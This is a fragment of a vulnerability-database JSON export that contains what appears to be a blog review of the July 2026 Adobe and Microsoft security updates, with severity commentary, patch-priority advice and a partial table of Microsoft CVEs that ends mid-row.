NAV/Business Central On-Prem RCE, 9.8) is the same deserialization flavor as the SharePoint pair; it\u2019s unauthenticated, network-reachable, and easy to overlook since it's not SharePoint. CVE-2026-48561 (Microsoft Copilot RCE, 9.6) and CVE-2026-50380 (Windows GDI+ RCE, 9.6) round out the near-top tier. Don't forget CVE-2026-55040, a SharePoint Security Feature Bypass (9.1) \u2014 patch it in the same pass as the SharePoint RCE pair since it's the same product family. Identity and infrastructure get hit too: CVE-2026-54121 (AD Certificate Services EoP, 8.8) and CVE-2026-50444 (WSUS EoP, 8.8). The obscure Reliable Multicast Transport Driver (RMCAST) takes two RCEs (CVE-2026-54982, CVE-2026-54995), and CVE-2026-50474 gives Remote Desktop Client its own RCE, separate from the RDP one already covered. The rest is a long tail: Defender RCE x2, GDI+ again, Windows Media x2, Secure Kernel Mode EoP x2, and a second Hyper-V EoP. You can consider these \u201cnormal\u201d as far as patch cadence goes.\nThat leaves us with 95 RCE to discuss. I would explain, but there is too much, so let me sum up. CVE-2026-55944 (Dynamics NAV/Business Central On-Prem, 9.8) is the same deserialization flavor as the SharePoint pair: unauthenticated, easy to miss since it's not SharePoint. CVE-2026-54990 (Remote Desktop Client), CVE-2026-49172 (Windows FTP Service), and CVE-2026-50447 (MSMQ) all hit 9.8 too, proof severity labels lag CVSS sometimes. CVE-2026-48561 (Copilot) and CVE-2026-50380 (GDI+) sit at 9.6.\nThe pattern worth watching: 14 Windows NTFS and 7 ReFS RCEs/ That makes 21 filesystem-driver bugs, an unusually large cluster suggesting a shared root cause. Microsoft Edge (Chromium-based) contributes 21 more that are genuinely Microsoft's to patch, not Chromium re-listing noise. Remote Desktop Client racks up a second and third RCE (CVE-2026-50474, CVE-2026-58594), and Windows Admin Center picks up two (CVE-2026-56196/56197) \u2014 WAC exposure keeps creeping into these releases. Exchange Server (CVE-2026-55005) and AD Domain Services (CVE-2026-49178) both land at 8.8.\nAnd because this release wouldn't be complete without it: CVE-2026-50663, an RCE in Age of Empires II: Definitive Edition. Yes, really. Patch your civilization anyway.\nThere are close to 260 EoP bugs in this month\u2019s release. Microsoft could have just published the EoPs and still had a record-setting month. As usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. What\u2019s really frustrating is that 94 have no explicit privilege statement at all. Microsoft just says \u201celevate privileges\u201d with no detail. By my count, that leaves around 25 bugs to consider. Some don\u2019t elevate at all. The FAQ literally says the attacker just gets \u201cthe rights of the user running the affected application.\u201d That covers Win32k, Clip Service, Search Service, MSMQ, and SharePoint. A few get a Low-to-Medium integrity bump. There are also a couple that lead to downgraded service accounts or arbitrary file deletion, but nothing else I\u2019ve seen really stands out too much.\nThere are 20 Security Feature Bypass (SFB) bugs this month, and it's a genuinely mixed bag. CVE-2026-55040 leads at Critical, CVSS 9.1 as it\u2019s weak authentication in SharePoint Server. Patch it in the same pass as the SharePoint RCE pair since it's the same product. The AI-coding-tool trend continues: GitHub Copilot and Visual Studio Code and Visual Studio all land SFB bugs, mostly injection or path-traversal flavored. BitLocker is this month's lone publicly disclosed bug. It\u2019s not exploited yet, but public disclosure is a countdown clock, not a free pass. It requires physical access, as does the bug in Microsoft XML. The firmware/boot cluster is worth a second look: Secure Boot, Boot Loader, and Key Guard all touch the trust chain below the OS. Meaning, despite a low CVSS score, \u201cif this fails, nothing above it can be trusted\u201d stakes. Rounding out the SFB patches, there are two .NET SFBs, two Windows Kernel SFBs, and a DNS/Cryptographic Services bringing up the rear.\nThe July release includes 31Spoofing bugs this month, and we\u2019ve already covered the most important (Exchange). SharePoint Server accounts for another ten with almost all the same root cause: stored XSS letting an authenticated attacker spoof content in the browser. Microsoft Edge (Chromium-based) contributes fifteen more spanning access-control failures, SSRF, type confusion, and UI misrepresentation. All genuinely Microsoft's to patch, not re-listed Chromium noise. The remaining six round out the usual suspects: a Windows NAT spoofing bug reachable from an adjacent network, a Bing app flaw on iOS, a PowerBI Report Server XSS issue, a .NET output-encoding bug, and an AD FS spoofing flaw. None publicly disclosed, none exploited, but with SharePoint's history this year, don't let \"just Spoofing\" lull you into deprioritizing the patch cycle.\nOf 111 Information Disclosure bugs, the overwhelming majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. GitHub Copilot is the standout. Here, the bug insufficiently protected credentials, meaning actual secrets leak, not memory scraps. The Windows Admin Center flaw discloses data via improper authentication. A management console leaking to an unauthorized party is a bigger deal than it sounds. SharePoint uses SSRF to pull data server-side, and the Event Logging Service is a protection-mechanism failure, not a memory bug at all. Edge picks up three genuinely file-system-flavored disclosures \u2014 improper authorization, files/directories accessible to external parties, and link-following \u2014 plus Edge for Android exposing \u201cprivate personal information\u201d twice and two path-traversal bugs. The remaining 40+ are mostly one-line \u201cexposure of sensitive information to an unauthorized actor\u201d entries scattered across File Explorer, Push Notifications, Cryptographic Services, and Win32k.\nOnly 8 Tampering bugs this month, the smallest bucket, but a couple stand out. The top of the list is a WSUS bug, caused by an uncaught exception that lets an unauthenticated attacker tamper with the update service over the network. That\u2019s your patch-management infrastructure itself being the target, which always deserves extra attention. Windows CNG (the crypto API) picks up a missing-cryptographic-step flaw, and Windows DNS Client shows up three separate times across the list, twice for improper access control and once for missing authentication on a critical function. DNS resolution having this many tampering paths in one release is worth flagging as a pattern rather than three unrelated bugs. The one genuinely different entry is Outlook Copilot, described simply as vulnerable to \u201cmalicious uses\u201d enabling tampering over the network. That\u2019s a fantastically vague phrasing for an AI-assistant feature, continuing this year's running theme of Copilot-branded features showing up somewhere in every release. Finally, a .NET link-following bug and a WSL2 kernel race condition receive patches. Both require local/authorized access to trigger.\nStill with me? Good, because we have 35 DoS bugs to cover, and this is really an identity-infrastructure story more than a grab-bag. Active Directory Federation Services alone accounts for seven of them, all sitting at CVSS 7.5, all stack-based buffer overflows or infinite loops that let an unauthenticated attacker knock the service over the network.  The .NET ecosystem is the other big cluster: .NET, .NET Framework, and ASP.NET Core/OData contribute nine bugs combined, almost all \u201callocation of resources without limits or throttling\u201d.  HTTP.sys and HTTP/2 pick up the same flavor. LSASS shows up twice, which is always worth a second look given what that process actually holds. Rounding out the list are patches for Windows DHCP Server, SMB Server, Secure Channel, Hyper-V, and IKE Protocol each take a single hit, mostly requiring authorized or adjacent-network access rather than being wide open to the internet.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on August 11, just after Hacker Summer Camp in sunny Las Vegas. Should I survive the heat, I\u2019ll be back then to give you my full thoughts on the release \u2013 no matter how large it may be. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!", "creation_timestamp": "2026-07-15T01:01:54.983058Z"}, {"uuid": "25d13d58-ccf2-4ec7-bd52-75306679577a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54999", "type": "seen", "source": "https://www.thezdi.com/blog/2026/7/14/the-july-2026-security-update-review", "content": "Well folks. Here we are. The bug apocalypse has fully descended upon us. I\u2019ll do my best to sort this out in some way meaningful, but this month\u2019s release shows us the nay-sayers were right, and I\u2019ve got to hand it to the nay-sayers here. Excellent call. Take an extended break from your regularly scheduled activities as we let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for July 2026\nAdobe has now moved to a bimonthly release schedule, which means they will be releasing patches on the second and fourth Tuesdays of the month. I\u2019ll continue to cover the second Tuesday release here and update this blog should the fourth Tuesday release contain anything significant. I think this is a smart way to break up a monster release into something a bit more manageable. Apple has said they are taking a similar approach. We\u2019ll see if other vendors follow their lead.\nFor the first part of the July release, Adobe released 12 bulletins addressing 88 unique CVEs in Adobe ColdFusion, Commerce, After Effects, Animate, Audition, Bridge, Creative Cloud Desktop Application, Experience Manager, Illustrator, Media Encoder, Premiere Pro, and the Content Credentials SDK.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n  \n  \n  \n  \n  \n  \n  \n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-82\n    Adobe ColdFusion\n    13\n    Critical\n    9.9\n    No\n    1\n  \n  \n    APSB26-73\n    Adobe Commerce\n    13\n    Critical\n    9.6\n    No\n    2\n  \n  \n    APSB26-78\n    Adobe After Effects\n    3\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-83\n    Adobe Animate\n    6\n    Critical\n    8.6\n    No\n    3\n  \n  \n    APSB26-71\n    Adobe Audition\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-81\n    Adobe Bridge\n    6\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-77\n    Adobe Creative Cloud Desktop Application\n    2\n    Critical\n    8.1\n    No\n    3\n  \n  \n    APSB26-74\n    Adobe Experience Manager\n    13\n    Critical\n    9.6\n    No\n    3\n  \n  \n    APSB26-79\n    Adobe Illustrator\n    5\n    Critical\n    9.3\n    No\n    3\n  \n  \n    APSB26-72\n    Adobe Media Encoder\n    5\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-76\n    Adobe Premiere Pro\n    4\n    Critical\n    7.8\n    No\n    3\n  \n  \n    APSB26-80\n    Content Credentials SDK\n    12\n    Critical\n    8.2\n    No\n    3\n  \n\n\n  \n    TOTAL\n    12 bulletins\n    88\n    \n    \n    \n    \n  \n\n\n\n\n\n  \n  \n\n\n\n\n\n\n  \nWhile nothing is under active exploit, I would prioritize the Cold Fusion and Commerce patches first. The patch for Cold Fusion even clocks in with a CVSS 9.9 bug. Beyond that, most of these updates are pretty straightforward. If you\u2019re using these products, patch them. However, you can use you regular patch cadence here. \nMicrosoft Patches for July 2026\nHere it is. The Mother of All Releases. To call this record-breaking is an understatement. How to count this mess is anyone\u2019s guess, but I see new Microsoft 621 CVEs for the month of July. Some of these are in online services where no user action is required. They also list about 480 bugs in Chromium and Microsoft Edge (Chromium-based) that I won\u2019t cover here. Here\u2019s how I put this in context. I looked at the last 20 years of Microsoft releases. The CVE count year-to-date exceeds all other years\u2019 totals.\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n    \n  \n    \n\n      \n\n      \n        \n\n          \n        \n        \n\n        \n          \n            \n              \n              \n          \n            \n                \n                \n                \n                \n                \n                \n                \n                \n\n            \n          \n        \n            \n          \n        \n\n        \n      \n        \n      \n\n    \n  \n\n\n  \n\n\n\n\n\n  \nThe products covered this month are also astonishing. There are patches for Windows and Windows components, Office and Office Components, Microsoft Edge (Chromium-based), Azure, .NET and Visual Studio, Github Copilot, Defender, Exchange Server, Hyper-V, Ages of Empire II, and Minecraft Server (really!). That phrase \u201cWindows components\u201d does some pretty heavy lifting here, too, as just about everything you\u2019ve ever heard of is getting patched. All told, there are 63 rated Critical, six rated Moderate, one rated Low, with the rest rated Important in severity. Eight of these bugs were submitted through the ZDI program (more on that later). Two CVEs are listed as under active exploit while one other is listed as publicly known.\nSo how do we eat this elephant? One byte at a time (pun intended). Let\u2019s start by looking a closer look at some of the more interesting updates for this month, starting with the bugs being exploited in the wild.\n-    CVE-2026-56155 - Active Directory Federation Services Elevation of Privilege VulnerabilityThis is one of several AD FS being patched this month, but it\u2019s the only one being actively exploited. It stems from insufficient access-control granularity and does require local access and low privileges to start, but AD FS is exactly the kind of identity infrastructure attackers love to pivot through once they're in. It can also be paired with an RCE as we often see in ransomware. Test and deploy this patch quickly.\n-    CVE-2026-56164 - Microsoft SharePoint Server Elevation of Privilege VulnerabilityThe other bug being exploited in the wild this month is a modest CVSS 5.3 \u2013 but it shows why Moderate severity bugs still matter. It's a missing-authentication flaw, meaning an unauthenticated attacker can hit it over the network with no user interaction required. When something this reachable is being actively abused, patch it now and worry about the score later.\n-    CVE-2026-57092 - Microsoft Windows VMSwitch Elevation of Privilege VulnerabilityThis patch rates the highest CVSS score for the month: a solid 9.9. It\u2019s a use-after-free that lets a low-privileged attacker escalate to full host compromise across a VM boundary. We saw something like this demonstrated at Pwn2Own Berlin on ESXi, but it clearly isn\u2019t alone. If you\u2019re using VMSwitch in your Hyper-V deployments (and you likely are), test and deploy this one quickly.\n-    CVE-2026-50522/58644 - Microsoft SharePoint Remote Code Execution VulnerabilityThis matching pair of CVSS 9.8 bugs results from the deserialization-of-untrusted-data and are reachable without authentication or user interaction. CVE-2026-50522 was demonstrated during Pwn2Own Berlin, so it\u2019s odd to see Microsoft list it as \u201cExploit Maturity Unknown\u201d since we literally handed them a working exploit. Just another reason to do your own risk assessment and not rely 100% on the vendor. If you have any Internet accessible SharePoint servers, test and deploy this patch quickly. \n-    CVE-2026-56190 - Remote Desktop Protocol Remote Code Execution Vulnerability This patch covers an unauthenticated, network-reachable, no user interaction required bug. The root cause is a classic one: use of uninitialized resource (CWE-908), meaning specially crafted RDP traffic can interact with memory that was never properly initialized, letting an attacker corrupt memory and potentially steer code execution. RDP Servers are a common target, so audit your systems to see which are internet accessible and start from there. \n-    CVE-2026-55008 - Microsoft Exchange Server Spoofing VulnerabilityIgnore the title here and treat this like the XSS bug it is. The vulnerability is listed as a CVSS 9.6 since it\u2019s a stored cross-site scripting flaw in Outlook Web Access, with a scope-changed impact that lets it break out of the web app context entirely. An attacker sends a specially crafted email, and if the victim simply opens it in OWA, arbitrary JavaScript executes in their browser session \u2014 no attachment needed, no macro warning, just viewing the message does it. If you\u2019re using OWA, test and deploy this one quickly.\n-    CVE-2026-50518 - Windows DHCP Server Remote Code Execution VulnerabilityThere are a couple of these DHCP RCE patches in this release, but the other has caveats while this one does not. Both are heap-based buffer overflows scoring CVSS 9.8, both unauthenticated and network-reachable. If you're running DHCP Server role on anything Internet-adjacent (you're not, right?), these move to the top of the list.\n-    CVE-2026-56188 - Windows Server Network driver Remote Code Execution VulnerabilityAnother Critical-rated bug, this one is caused by a race condition. It\u2019s always fun to see a TOCTOU bug rated this high, since race conditions are notoriously finicky to exploit reliably. While it may prove tricky to exploit, this bug could allow an attacker to execute privileged code over the network without user interaction. Don\u2019t let the race condition lull you to sleep on a wormable bug.\n-    CVE-2026-55010 - Minecraft Bedrock Dedicated Server Remote Code Execution VulnerabilityFile this in the \u201cwhy not\u201d category. This bug is a heap-based buffer overflow in Minecraft Bedrock Dedicated Server, also CVSS 9.8 and also unauthenticated RCE. Yes, your kid\u2019s Minecraft server (it is your kid\u2019s server, right?) is exposed to the same class of bug as your DHCP infrastructure. Patch it anyway.\nHere\u2019s the full list of CVEs released by Microsoft for July 2026:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n\n\n  \n    \n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n \n \n \n \n  CVE\n  Title\n  Severity\n  CVSS\n  Public\n  Exploited\n  Type\n \n \n  CVE-2026-56155\n  Active Directory\n  Federation Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-56164\n  Microsoft SharePoint\n  Server Elevation of Privilege Vulnerability\n  Moderate\n  5.3\n  No\n  Yes\n  EoP\n \n \n  CVE-2026-50661\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  6.1\n  Yes\n  No\n  SFB\n \n \n  CVE-2026-54121\n  Active Directory\n  Certificate Services Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-45499 **\n  Azure OpenAI Elevation\n  of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-48564\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50370\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56159\n  DHCP Server Service\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50382\n  DirectX Graphics\n  Kernel Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-41106 **\n  Microsoft 365 Copilot\n  Elevation of Privilege Vulnerability\n  Critical\n  9.3\n  No\n  No\n  EoP\n \n \n  CVE-2026-26145 **\n  Microsoft Azure\n  Synapse Elevation of Privilege Vulnerability\n  Critical\n  4.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-48561\n  Microsoft Copilot\n  Remote Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-55011\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55012\n  Microsoft Defender\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55944\n  Microsoft Dynamics NAV\n  and Microsoft Dynamics 365 Business Central (On Premises) Remote Code\n  Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57100 **\n  Microsoft Entra\n  Provisioning Service Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55041\n  Microsoft Excel Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54998 **\n  Microsoft Exchange\n  Online Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-55008\n  Microsoft Exchange\n  Server Spoofing Vulnerability\n  Critical\n  9.6\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-54992\n  Microsoft Message\n  Queuing Queue Manager Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50314\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50467\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55018\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55022\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55045\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-55049\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55129\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55056\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55140\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55043\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55123\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55120\n  Microsoft PowerPoint\n  Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50522\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58644\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55040\n  Microsoft SharePoint\n  Server Security Feature Bypass Vulnerability\n  Critical\n  9.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-54117\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54118\n  Microsoft SQL Server\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50655\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-56189\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57090\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57094\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57087\n  Microsoft Windows\n  Media Foundation Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-57092\n  Microsoft Windows\n  VMSwitch Elevation of Privilege Vulnerability\n  Critical\n  9.9\n  No\n  No\n  EoP\n \n \n  CVE-2026-55033\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55127\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55132\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-55010\n  Minecraft Bedrock\n  Dedicated Server Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50474\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49164\n  Windows Active\n  Directory Domain Services Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-54128\n  Windows DHCP Client\n  Remote Code Execution Vulnerability\n  Critical\n  8.4\n  No\n  No\n  RCE\n \n \n  CVE-2026-50518\n  Windows DHCP Server\n  Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-49796\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50380\n  Windows GDI+ Remote\n  Code Execution Vulnerability\n  Critical\n  9.6\n  No\n  No\n  RCE\n \n \n  CVE-2026-54127\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  7.4\n  No\n  No\n  EoP\n \n \n  CVE-2026-50680\n  Windows Hyper-V\n  Elevation of Privilege Vulnerability\n  Critical\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50327\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58542\n  Windows Media Remote\n  Code Execution Vulnerability\n  Critical\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-58608\n  Windows Print Spooler\n  Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54982\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-54995\n  Windows Reliable\n  Multicast Transport Driver (RMCAST) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-42982\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50392\n  Windows Secure Kernel\n  Mode Elevation of Privilege Vulnerability\n  Critical\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50694\n  Windows Secure Socket\n  Tunneling Protocol (SSTP) Remote Code Execution Vulnerability\n  Critical\n  8.1\n  No\n  No\n  RCE\n \n \n  CVE-2026-56188\n  Windows Server Network\n  driver Remote Code Execution Vulnerability\n  Critical\n  9.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50444\n  Windows Server Update\n  Service (WSUS) Elevation of Privilege Vulnerability\n  Critical\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-54999\n  Windows TCP/IP Remote\n  Code Execution Vulnerability\n  Critical\n  8.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47302\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50525\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50651\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57108\n  .NET Denial of Service\n  Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50524\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50527\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50648\n  .NET Framework Denial\n  of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50650\n  .NET Framework\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50646\n  .NET Framework Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-50649\n  .NET Remote Code\n  Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  RCE\n \n \n  CVE-2026-47304\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.1\n  No\n  No\n  SFB\n \n \n  CVE-2026-50528\n  .NET Security Feature\n  Bypass Vulnerability\n  Important\n  8.2\n  No\n  No\n  SFB\n \n \n  CVE-2026-50659\n  .NET Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-50526\n  .NET Tampering\n  Vulnerability\n  Important\n  7\n  No\n  No\n  Tampering\n \n \n  CVE-2026-50682\n  Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.1\n  No\n  No\n  DoS\n \n \n  CVE-2026-55001\n  Active Directory\n  Domain Services Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50647\n  Active Directory\n  Federation Server Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50684\n  Active Directory\n  Federation Server Spoofing Vulnerability\n  Important\n  4.8\n  No\n  No\n  Spoofing\n \n \n  CVE-2026-56170\n  ASP.NET Core Denial of\n  Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-47300\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-47303\n  ASP.NET Core Elevation\n  of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50652\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-50653\n  Azure Active Directory\n  Denial of Service Vulnerability\n  Important\n  7.5\n  No\n  No\n  DoS\n \n \n  CVE-2026-57969\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58279\n  Azure CycleCloud\n  Elevation of Privilege Vulnerability\n  Important\n  6.5\n  No\n  No\n  EoP\n \n \n  CVE-2026-47632\n  Azure Monitor Agent\n  Metrics Extension Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50338\n  Azure Spring Apps\n  Elevation of Privilege Vulnerability\n  Important\n  8.2\n  No\n  No\n  EoP\n \n \n  CVE-2026-50488\n  Clipboard User Service\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50491\n  Code Integrity DLL\n  (ci.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50381\n  Composite Image File\n  System driver (cimfs.sys) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  Info\n \n \n  CVE-2026-50427\n  Content Delivery\n  Manager Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50692\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58633\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-58634\n  Desktop Window Manager\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  EoP\n \n \n  CVE-2026-50296\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  EoP\n \n \n  CVE-2026-50375\n  DirectX Graphics\n  Kernel Elevation of Privilege Vulnerability\n  Important\n  6.3\n  No\n  